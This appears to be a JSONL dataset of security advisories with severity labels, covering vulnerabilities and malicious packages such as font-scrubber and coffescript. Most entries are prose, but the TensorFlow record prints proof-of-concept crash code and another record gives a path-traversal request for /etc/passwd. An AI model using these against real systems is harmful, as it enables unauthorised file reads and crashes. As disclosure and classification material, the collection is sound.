-{"id": "5be21b830132fe1d502d", "text": "Broken access control on files\n\nIn SilverStripe assets 4.0, there is broken access control on files.", "text_raw": "Broken access control on files\n\n[Severity: MEDIUM]\n\nIn SilverStripe assets 4.0, there is broken access control on files.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-07-15", "split": "train"}
-{"id": "37de8feadaba691d4c67", "text": "ldoce Gem Arbitrary Command Execution\n\n`lib/ldoce/word.rb` in the ldoce 0.0.2 gem for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in (1) an mp3 URL or (2) file name.", "text_raw": "ldoce Gem Arbitrary Command Execution\n\n[Severity: MEDIUM]\n\n`lib/ldoce/word.rb` in the ldoce 0.0.2 gem for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in (1) an mp3 URL or (2) file name.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "650a319e54b341f90a92", "text": "SQL Injection in medoo\n\ncolumnQuote in medoo before 1.7.5 allows remote attackers to perform a SQL Injection due to improper escaping.", "text_raw": "SQL Injection in medoo\n\n[Severity: CRITICAL]\n\ncolumnQuote in medoo before 1.7.5 allows remote attackers to perform a SQL Injection due to improper escaping.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "e6716f99079d04d3498c", "text": "Spring Security vulnerable to Authorization Bypass\n\nSpring Security versions 5.1.x prior to 5.1.2 contain an authorization bypass vulnerability during JWT issuer validation. In order to be impacted, the same private key for an honest issuer and a malicious user must be used when signing JWTs. In that case, a malicious user could fashion signed JWTs with the malicious issuer URL that may be granted for the honest issuer.", "text_raw": "Spring Security vulnerable to Authorization Bypass\n\n[Severity: HIGH]\n\nSpring Security versions 5.1.x prior to 5.1.2 contain an authorization bypass vulnerability during JWT issuer validation. In order to be impacted, the same private key for an honest issuer and a malicious user must be used when signing JWTs. In that case, a malicious user could fashion signed JWTs with the malicious issuer URL that may be granted for the honest issuer.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-12-20", "split": "train"}
-{"id": "1c98578b800413f7d9a3", "text": "JobScript Open Redirection And Arbitrary Code Execution Vulnerability", "text_raw": "JobScript Open Redirection And Arbitrary Code Execution Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-05-22", "split": "train"}
-{"id": "5f78b1f222d6cf7b8533", "text": "Apache HTTP Server Path Traversal Vulnerability\n\nAffected: Apache HTTP Server\n\nApache HTTP Server contains a path traversal vulnerability that allows an attacker to perform remote code execution if files outside directories configured by Alias-like directives are not under default �require all denied� or if CGI scripts are enabled. The original patch issued under this CVE ID is insufficient, please review remediation information under CVE-2021-42013.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Apache HTTP Server Path Traversal Vulnerability\n\nAffected: Apache HTTP Server\n\nApache HTTP Server contains a path traversal vulnerability that allows an attacker to perform remote code execution if files outside directories configured by Alias-like directives are not under default �require all denied� or if CGI scripts are enabled. The original patch issued under this CVE ID is insufficient, please review remediation information under CVE-2021-42013.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "21c71d1010d92bfb9071", "text": "Heap OOB in `SdcaOptimizerV2`\n\n### Impact\nAn attacker can read from outside of bounds of heap allocated data by sending specially crafted illegal arguments to `tf.raw_ops.SdcaOptimizerV2`:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.SdcaOptimizerV2(\n  sparse_example_indices=[[1]],\n  sparse_feature_indices=[[1]],\n  sparse_feature_values=[[1.0,2.0]],\n  dense_features=[[1.0]],\n  example_weights=[1.0],\n  example_labels=[],\n  sparse_indices=[1],\n  sparse_weights=[1.0],\n  dense_weights=[[1.0]],\n  example_state_data=[[100.0,100.0,100.0,100.0]],\n  loss_type='logistic_loss',\n  l1=100.0,\n  l2=100.0,\n  num_loss_partitions=1,\n  num_inner_iterations=1,\n  adaptive=True)       \n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/sdca_internal.cc#L320-L353) does not check that the length of `example_labels` is the same as the number of examples.\n\n### Patches\nWe have patched the issue in GitHub commit [a4e138660270e7599793fa438cd7b2fc2ce215a6](https://github.com/tensorflow/tensorflow/commit/a4e138660270e7599793fa438cd7b2fc2ce215a6).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Heap OOB in `SdcaOptimizerV2`\n\n[Severity: MEDIUM]\n\n### Impact\nAn attacker can read from outside of bounds of heap allocated data by sending specially crafted illegal arguments to `tf.raw_ops.SdcaOptimizerV2`:\n\n```python\nimport tensorflow as tf\n  \ntf.raw_ops.SdcaOptimizerV2(\n  sparse_example_indices=[[1]],\n  sparse_feature_indices=[[1]],\n  sparse_feature_values=[[1.0,2.0]],\n  dense_features=[[1.0]],\n  example_weights=[1.0],\n  example_labels=[],\n  sparse_indices=[1],\n  sparse_weights=[1.0],\n  dense_weights=[[1.0]],\n  example_state_data=[[100.0,100.0,100.0,100.0]],\n  loss_type='logistic_loss',\n  l1=100.0,\n  l2=100.0,\n  num_loss_partitions=1,\n  num_inner_iterations=1,\n  adaptive=True)       \n``` \n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/sdca_internal.cc#L320-L353) does not check that the length of `example_labels` is the same as the number of examples.\n\n### Patches\nWe have patched the issue in GitHub commit [a4e138660270e7599793fa438cd7b2fc2ce215a6](https://github.com/tensorflow/tensorflow/commit/a4e138660270e7599793fa438cd7b2fc2ce215a6).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "a010f40551b4416236fd", "text": "assign-deep Vulnerable to Prototype Pollution\n\nVersions of `assign-deep` prior to 1.0.1 and 0.4.8 are vulnerable to Prototype Pollution. The `assign` function fails to validate which Object properties it updates. This allows attackers to modify the prototype of Object, causing the addition or modification of an existing property on all objects.\n\n## Recommendation\n\nUpgrade to versions 1.0.1, 0.4.8, or later.", "text_raw": "assign-deep Vulnerable to Prototype Pollution\n\n[Severity: HIGH]\n\nVersions of `assign-deep` prior to 1.0.1 and 0.4.8 are vulnerable to Prototype Pollution. The `assign` function fails to validate which Object properties it updates. This allows attackers to modify the prototype of Object, causing the addition or modification of an existing property on all objects.\n\n## Recommendation\n\nUpgrade to versions 1.0.1, 0.4.8, or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-08-21", "split": "train"}
-{"id": "13c2974d904df68defe5", "text": "Improper Restriction of XML External Entity Reference in Plone\n\nPlone before 5.2.3 allows XXE attacks via a feature that is protected by an unapplied permission of plone.schemaeditor.ManageSchemata (therefore, only available to the Manager role).", "text_raw": "Improper Restriction of XML External Entity Reference in Plone\n\n[Severity: HIGH]\n\nPlone before 5.2.3 allows XXE attacks via a feature that is protected by an unapplied permission of plone.schemaeditor.ManageSchemata (therefore, only available to the Manager role).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-07", "split": "train"}
-{"id": "32dda3bf03562ebf7ea0", "text": "## Urgent Upgrade\n\nThe static file server module included with GUN had a **serious vulnerability**:\n\n- Using `curl --path-as-is` allowed reads on any parent directory or files.\n\nThis did not work via the browser or via curl without as-is option.\n\n### Fixed\n\nThis has been fixed since version `0.2019.416` and higher.\n\n### Who Was Effected?\n\nMost NodeJS users who use the default setup, such as:\n\n- `npm start`\n - `node examples/http.js`\n - `Heroku` 1-click-deploy\n - `Docker`\n - `Now`\n\nIf you have a custom NodeJS code then you are probably safe *unless* you have something like `require('http').createServer(Gun.serve(__dirname))` in it.\n\nIf you have not upgraded, it is **mandatory** or else it is highly likely your environment variables and AWS (or other) keys could be leaked.\n\n### Credit\n\nIt was reported and fixed by [JK0N](https://github.com/amark/gun/pull/527), but I did not understand the `--path-as-is` condition.\n\nJoonas Loppi from [function61](http://function61.com) rediscovered it and explained the urgency to me to fix it.", "text_raw": "High severity vulnerability that affects gun\n\n[Severity: HIGH]\n\n## Urgent Upgrade\n\nThe static file server module included with GUN had a **serious vulnerability**:\n\n - Using `curl --path-as-is` allowed reads on any parent directory or files.\n\nThis did not work via the browser or via curl without as-is option.\n\n ### Fixed\n\nThis has been fixed since version `0.2019.416` and higher.\n\n ### Who Was Effected?\n\nMost NodeJS users who use the default setup, such as:\n\n - `npm start`\n - `node examples/http.js`\n - `Heroku` 1-click-deploy\n - `Docker`\n - `Now`\n\nIf you have a custom NodeJS code then you are probably safe *unless* you have something like `require('http').createServer(Gun.serve(__dirname))` in it.\n\nIf you have not upgraded, it is **mandatory** or else it is highly likely your environment variables and AWS (or other) keys could be leaked.\n\n ### Credit\n\nIt was reported and fixed by [JK0N](https://github.com/amark/gun/pull/527), but I did not understand the `--path-as-is` condition.\n\nJoonas Loppi from [function61](http://function61.com) rediscovered it and explained the urgency to me to fix it.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-06-05", "split": "train"}
-{"id": "eda75c037b5c7ab49c0f", "text": "Apache Camel can allow remote attackers to execute arbitrary commands\n\nApache Camel 2.6.x through 2.14.x, 2.15.x before 2.15.5, and 2.16.x before 2.16.1, when using (1) camel-jetty or (2) camel-servlet as a consumer in Camel routes, allow remote attackers to execute arbitrary commands via a crafted serialized Java object in an HTTP request.", "text_raw": "Apache Camel can allow remote attackers to execute arbitrary commands\n\n[Severity: HIGH]\n\nApache Camel 2.6.x through 2.14.x, 2.15.x before 2.15.5, and 2.16.x before 2.16.1, when using (1) camel-jetty or (2) camel-servlet as a consumer in Camel routes, allow remote attackers to execute arbitrary commands via a crafted serialized Java object in an HTTP request.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "21dd80e917b7a7884594", "text": "Denial of service in Netty\n\nThe SslHandler in Netty before 3.9.2 allows remote attackers to cause a denial of service (infinite loop and CPU consumption) via a crafted SSLv2Hello message.", "text_raw": "Denial of service in Netty\n\n[Severity: MEDIUM]\n\nThe SslHandler in Netty before 3.9.2 allows remote attackers to cause a denial of service (infinite loop and CPU consumption) via a crafted SSLv2Hello message.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-06-30", "split": "train"}
-{"id": "b6b80adaea0c76d115ed", "text": "Integer Overflow or Wraparound in OpenCV\n\nIn opencv/modules/imgcodecs/src/grfmt_pxm.cpp, function ReadNumber did not checkout the input length, which lead to integer overflow. If the image is from remote, may lead to remote code execution or denial of service. This affects OpenCV 3.3 (corresponding with OpenCV-Python version 3.3.0.9) and earlier.", "text_raw": "Integer Overflow or Wraparound in OpenCV\n\n[Severity: HIGH]\n\nIn opencv/modules/imgcodecs/src/grfmt_pxm.cpp, function ReadNumber did not checkout the input length, which lead to integer overflow. If the image is from remote, may lead to remote code execution or denial of service. This affects OpenCV 3.3 (corresponding with OpenCV-Python version 3.3.0.9) and earlier.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "b87347a56ed3f6b8fc19", "text": "Prototype Pollution via file load in aws-sdk and @aws-sdk/shared-ini-file-loader\n\nThis affects the package @aws-sdk/shared-ini-file-loader before 1.0.0-rc.9; the package aws-sdk before 2.814.0. If an attacker submits a malicious INI file to an application that parses it with loadSharedConfigFiles , they will pollute the prototype on the application. This can be exploited further depending on the context.", "text_raw": "Prototype Pollution via file load in aws-sdk and @aws-sdk/shared-ini-file-loader\n\n[Severity: HIGH]\n\nThis affects the package @aws-sdk/shared-ini-file-loader before 1.0.0-rc.9; the package aws-sdk before 2.814.0. If an attacker submits a malicious INI file to an application that parses it with loadSharedConfigFiles , they will pollute the prototype on the application. This can be exploited further depending on the context.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-16", "split": "train"}
-{"id": "cb735dddc91f6bf903e2", "text": "Data races in unicycle\n\nAffected versions of this crate unconditionally implemented `Send` & `Sync` for types `PinSlab<T>` & `Unordered<T, S>`. This allows sending non-Send types to other threads and concurrently accessing non-Sync types from multiple threads.\n\nThis can result in a data race & memory corruption when types that provide internal mutability without synchronization are contained within `PinSlab<T>` or `Unordered<T, S>` and accessed concurrently from multiple threads.\n\nThe flaw was corrected in commits 92f40b4 & 6a6c367 by adding trait bound `T: Send` to `Send` impls for `PinSlab<T>` & `Unordered<T, S>` and adding `T: Sync` to `Sync` impls for `PinSlab<T>` & `Unordered<T, S>`.", "text_raw": "Data races in unicycle\n\n[Severity: HIGH]\n\nAffected versions of this crate unconditionally implemented `Send` & `Sync` for types `PinSlab<T>` & `Unordered<T, S>`. This allows sending non-Send types to other threads and concurrently accessing non-Sync types from multiple threads.\n\nThis can result in a data race & memory corruption when types that provide internal mutability without synchronization are contained within `PinSlab<T>` or `Unordered<T, S>` and accessed concurrently from multiple threads.\n\nThe flaw was corrected in commits 92f40b4 & 6a6c367 by adding trait bound `T: Send` to `Send` impls for `PinSlab<T>` & `Unordered<T, S>` and adding `T: Sync` to `Sync` impls for `PinSlab<T>` & `Unordered<T, S>`.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "b2a9cc54c29b9a77b133", "text": "Inim Electronics SmartLiving SmartLAN/G/SI <=6.x Root Remote Command Execution", "text_raw": "Inim Electronics SmartLiving SmartLAN/G/SI <=6.x Root Remote Command Execution\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2019-12-09", "split": "train"}
-{"id": "5ff752702c79ab90641e", "text": "Vulnerability in dump function leads to arbitrary code execution via filePath parameters\n\naaptjs is a node wraper for aapt. An issue was discovered in the dump function in shenzhim aaptjs 1.3.1, allows attackers to execute arbitrary code via the filePath parameters.", "text_raw": "Vulnerability in dump function leads to arbitrary code execution via filePath parameters\n\n[Severity: CRITICAL]\n\naaptjs is a node wraper for aapt. An issue was discovered in the dump function in shenzhim aaptjs 1.3.1, allows attackers to execute arbitrary code via the filePath parameters.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-02", "split": "train"}
-{"id": "152d6f419f2e8ce5c1dd", "text": "Regular Expression Denial of Service in underscore.string\n\nVersions of `underscore.string` prior to *3.3.5* are vulnerable to Regular Expression Denial of Service (ReDoS).\n\nThe function `unescapeHTML` is vulnerable to ReDoS due to an overly-broad regex. The slowdown is approximately 2s for 50,000 characters but grows exponentially with larger inputs.\n\n## Recommendation\n\nUpgrade to version 3.3.5 or higher.", "text_raw": "Regular Expression Denial of Service in underscore.string\n\n[Severity: MEDIUM]\n\nVersions of `underscore.string` prior to *3.3.5* are vulnerable to Regular Expression Denial of Service (ReDoS).\n\nThe function `unescapeHTML` is vulnerable to ReDoS due to an overly-broad regex. The slowdown is approximately 2s for 50,000 characters but grows exponentially with larger inputs.\n\n\n## Recommendation\n\nUpgrade to version 3.3.5 or higher.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-14", "split": "train"}
-{"id": "aa83c403c29a2096da3c", "text": "Cocaine Gem OS Command Injection vulnerability\n\nThe Cocaine gem 0.4.0 through 0.5.2 for Ruby allows context-dependent attackers to execute arbitrary commands via a crafted has object, related to recursive variable interpolation.", "text_raw": "Cocaine Gem OS Command Injection vulnerability\n\n[Severity: MEDIUM]\n\nThe Cocaine gem 0.4.0 through 0.5.2 for Ruby allows context-dependent attackers to execute arbitrary commands via a crafted has object, related to recursive variable interpolation.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "1203101daa9c7a892a35", "text": "Remote Memory Exposure in mongoose\n\nVersions of `mongoose` before 4.3.6, 3.8.39 are vulnerable to remote memory exposure.\n\nTrying to save a number to a field of type Buffer on the affected mongoose versions allocates a chunk of uninitialized memory and stores it in the database.\n\n## Recommendation\n\nUpdate to version 4.3.6, 3.8.39 or later.", "text_raw": "Remote Memory Exposure in mongoose\n\n[Severity: MEDIUM]\n\nVersions of `mongoose` before 4.3.6, 3.8.39 are vulnerable to remote memory exposure.\n\nTrying to save a number to a field of type Buffer on the affected mongoose versions allocates a chunk of uninitialized memory and stores it in the database.\n\n\n## Recommendation\n\nUpdate to version 4.3.6, 3.8.39 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "952c971a85bf07363429", "text": "Malicious Package in font-scrubber\n\nVersion 1.2.2 of `font-scrubber` contains malicious code as a postinstall script. The package attempts to upload sensitive files from the system to a remote server. The files include configuration files, command history logs, SSH keys and /etc/passwd.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in font-scrubber\n\n[Severity: CRITICAL]\n\nVersion 1.2.2 of `font-scrubber` contains malicious code as a postinstall script. The package attempts to upload sensitive files from the system to a remote server. The files include configuration files, command history logs, SSH keys and /etc/passwd.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "647ba47209091ee27043", "text": "Path Traversal in droppy\n\nThis affects all versions of package droppy. It is possible to traverse directories to fetch configuration files from a droopy server.", "text_raw": "Path Traversal in droppy\n\n[Severity: MEDIUM]\n\nThis affects all versions of package droppy. It is possible to traverse directories to fetch configuration files from a droopy server.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "d9f0b4b8f5cf855bd498", "text": "Out-of-bounds write\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1307, CVE-2019-1308, CVE-2019-1366.", "text_raw": "Out-of-bounds write\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1307, CVE-2019-1308, CVE-2019-1366.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "667660b6e5cf15bccf37", "text": "Cross-Site Scripting in html-janitor\n\nVersions of `html-janitor` prior to 2.0.2 (all current versions) are vulnerable to cross-site scripting (XSS).\n\nThis is exploitable if user-controlled data is passed into the modules `clean()` function.\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is recommended to use an alternative module for HTML sanitization.", "text_raw": "Cross-Site Scripting in html-janitor\n\n[Severity: MEDIUM]\n\nVersions of `html-janitor` prior to 2.0.2 (all current versions) are vulnerable to cross-site scripting (XSS).\n\nThis is exploitable if user-controlled data is passed into the modules `clean()` function.\n\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is recommended to use an alternative module for HTML sanitization.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-11-09", "split": "train"}
-{"id": "3c11edf249b09713a0ed", "text": "Remote code execution in turn extension for TYPO3\n\nThe turn extension through 0.3.2 for TYPO3 allows Remote Code Execution.", "text_raw": "Remote code execution in turn extension for TYPO3\n\n[Severity: HIGH]\n\nThe turn extension through 0.3.2 for TYPO3 allows Remote Code Execution.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-07-29", "split": "train"}
-{"id": "b5bceb3dc739a984bf3a", "text": "Prototype pollution in safe-flat\n\nPrototype pollution vulnerability in 'safe-flat' versions 2.0.0 through 2.0.1 allows an attacker to cause a denial of service and may lead to remote code execution.", "text_raw": "Prototype pollution in safe-flat\n\n[Severity: CRITICAL]\n\nPrototype pollution vulnerability in 'safe-flat' versions 2.0.0 through 2.0.1 allows an attacker to cause a denial of service and may lead to remote code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-21", "split": "train"}
-{"id": "6bd1dee6b5231a0596cb", "text": "TP-Link TL-SC3130 1.6.18 Unauthenticated RTSP Stream Disclosure Vulnerability", "text_raw": "TP-Link TL-SC3130 1.6.18 Unauthenticated RTSP Stream Disclosure Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2018-10-17", "split": "train"}
-{"id": "8340a48d58d2ce1502c5", "text": "coffescript is malware\n\nThe `coffescript` package is a piece of malware that steals sensitive data such as a user's private SSH key and bash history, sending them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nIf you have found `coffescript` installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your SSH keys, registry credentials, tokens, and any other sensitive credentials that may have been present in your bash history.\n\nAdditionally, any service which may have been exposed via credentials in your bash history or accessible via your ssh keys, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "coffescript is malware\n\n[Severity: HIGH]\n\nThe `coffescript` package is a piece of malware that steals sensitive data such as a user's private SSH key and bash history, sending them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n\n## Recommendation\n\nIf you have found `coffescript` installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your SSH keys, registry credentials, tokens, and any other sensitive credentials that may have been present in your bash history.\n\nAdditionally, any service which may have been exposed via credentials in your bash history or accessible via your ssh keys, such as a database, should be reviewed for indicators of compromise as well.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-06", "split": "train"}
-{"id": "44d9b5fd61a19c02e29a", "text": "Arabic Prawn allows remote attackers to execute arbitrary commands via shell metacharacters\n\n`lib/string_utf_support.rb` in the Arabic Prawn 0.0.1 gem for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in the (1) downloaded_file or (2) url variable.", "text_raw": "Arabic Prawn allows remote attackers to execute arbitrary commands via shell metacharacters\n\n[Severity: HIGH]\n\n`lib/string_utf_support.rb` in the Arabic Prawn 0.0.1 gem for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in the (1) downloaded_file or (2) url variable.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "6e187e856a25b2e93974", "text": "Reflected cross-site scripting in default RouteNotFoundError view in Vaadin 10 and 11-13\n\nMissing output sanitization in default `RouteNotFoundError` view in `com.vaadin:flow-server` versions 1.0.0 through 1.0.10 (Vaadin 10.0.0 through 10.0.13), and 1.1.0 through 1.4.2 (Vaadin 11.0.0 through 13.0.5) allows attacker to execute malicious JavaScript via crafted URL.\n\n- https://vaadin.com/security/cve-2019-25027", "text_raw": "Reflected cross-site scripting in default RouteNotFoundError view in Vaadin 10 and 11-13\n\n[Severity: MEDIUM]\n\nMissing output sanitization in default `RouteNotFoundError` view in `com.vaadin:flow-server` versions 1.0.0 through 1.0.10 (Vaadin 10.0.0 through 10.0.13), and 1.1.0 through 1.4.2 (Vaadin 11.0.0 through 13.0.5) allows attacker to execute malicious JavaScript via crafted URL.\n\n- https://vaadin.com/security/cve-2019-25027", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-19", "split": "train"}
-{"id": "6c20640e5dd2109f68e5", "text": "Directory Traversal in yjmyjmyjm\n\nAffected versions of `yjmyjmyjm` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\nExample request:\n```\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in yjmyjmyjm\n\n[Severity: HIGH]\n\nAffected versions of `yjmyjmyjm` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\nExample request:\n```\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "9143489ffd14419ea180", "text": "conference-scheduler-cli Arbitrary Code Execution\n\nIn conference-scheduler-cli, a pickle.load call on imported data allows remote attackers to execute arbitrary code via a crafted .pickle file, as demonstrated by Python code that contains an os.system call.", "text_raw": "conference-scheduler-cli Arbitrary Code Execution\n\n[Severity: HIGH]\n\nIn conference-scheduler-cli, a pickle.load call on imported data allows remote attackers to execute arbitrary code via a crafted .pickle file, as demonstrated by Python code that contains an os.system call.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-29", "split": "train"}
-{"id": "e76a8c6c5638053602a4", "text": "Authorization bypass in github.com/dgrijalva/jwt-go\n\njwt-go allows attackers to bypass intended access restrictions in situations with `[]string{}` for `m[\"aud\"]` (which is allowed by the specification). Because the type assertion fails, \"\" is the value of aud. This is a security problem if the JWT token is presented to a service that lacks its own audience check. There is no patch available and users of jwt-go are advised to migrate to [golang-jwt](https://github.com/golang-jwt/jwt) at version 3.2.1", "text_raw": "Authorization bypass in github.com/dgrijalva/jwt-go\n\n[Severity: HIGH]\n\njwt-go allows attackers to bypass intended access restrictions in situations with `[]string{}` for `m[\"aud\"]` (which is allowed by the specification). Because the type assertion fails, \"\" is the value of aud. This is a security problem if the JWT token is presented to a service that lacks its own audience check. There is no patch available and users of jwt-go are advised to migrate to [golang-jwt](https://github.com/golang-jwt/jwt) at version 3.2.1", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "72f59284b0896055d2be", "text": "Regular expression denial of service vulnerability (ReDoS) in date\n\nDate’s parsing methods including Date.parse are using Regexps internally, some of which are vulnerable against regular expression denial of service. Applications and libraries that apply such methods to untrusted input may be affected.\n\nThe fix limits the input length up to 128 bytes by default instead of changing the regexps. This is because Date gem uses many Regexps and it is possible that there are still undiscovered vulnerable Regexps. For compatibility, it is allowed to remove the limitation by explicitly passing limit keywords as nil like Date.parse(str, limit: nil), but note that it may take a long time to parse.\n\nPlease update the date gem to version 3.2.1, 3.1.2, 3.0.2, and 2.0.1, or later. You can use gem update date to update it. If you are using bundler, please add gem \"date\", \">= 3.2.1\" to your Gemfile. If you import `date` from the standard library rather than as a gem you should update your Ruby install to `3.0.3`, `2.7.5`, `2.6.9` or later.\n\nUsers unable to upgrade may consider using `Date.strptime` instead with a predefined date format\n```ruby\nDate.strptime('2001-02-20', '%Y-%m-%d')\n```", "text_raw": "Regular expression denial of service vulnerability (ReDoS) in date\n\n[Severity: HIGH]\n\nDate’s parsing methods including Date.parse are using Regexps internally, some of which are vulnerable against regular expression denial of service. Applications and libraries that apply such methods to untrusted input may be affected.\n\nThe fix limits the input length up to 128 bytes by default instead of changing the regexps. This is because Date gem uses many Regexps and it is possible that there are still undiscovered vulnerable Regexps. For compatibility, it is allowed to remove the limitation by explicitly passing limit keywords as nil like Date.parse(str, limit: nil), but note that it may take a long time to parse.\n\nPlease update the date gem to version 3.2.1, 3.1.2, 3.0.2, and 2.0.1, or later. You can use gem update date to update it. If you are using bundler, please add gem \"date\", \">= 3.2.1\" to your Gemfile. If you import `date` from the standard library rather than as a gem you should update your Ruby install to `3.0.3`, `2.7.5`, `2.6.9` or later.\n\nUsers unable to upgrade may consider using `Date.strptime` instead with a predefined date format\n```ruby\nDate.strptime('2001-02-20', '%Y-%m-%d')\n```", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-16", "split": "train"}
-{"id": "29e35c08430e399826f1", "text": "rails_admin ruby gem XSS vulnerability\n\nRailsAdmin (aka rails_admin) before 1.4.3 and 2.x before 2.0.2 allows XSS via nested forms.", "text_raw": "rails_admin ruby gem XSS vulnerability\n\n[Severity: MEDIUM]\n\nRailsAdmin (aka rails_admin) before 1.4.3 and 2.x before 2.0.2 allows XSS via nested forms.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-01-14", "split": "train"}
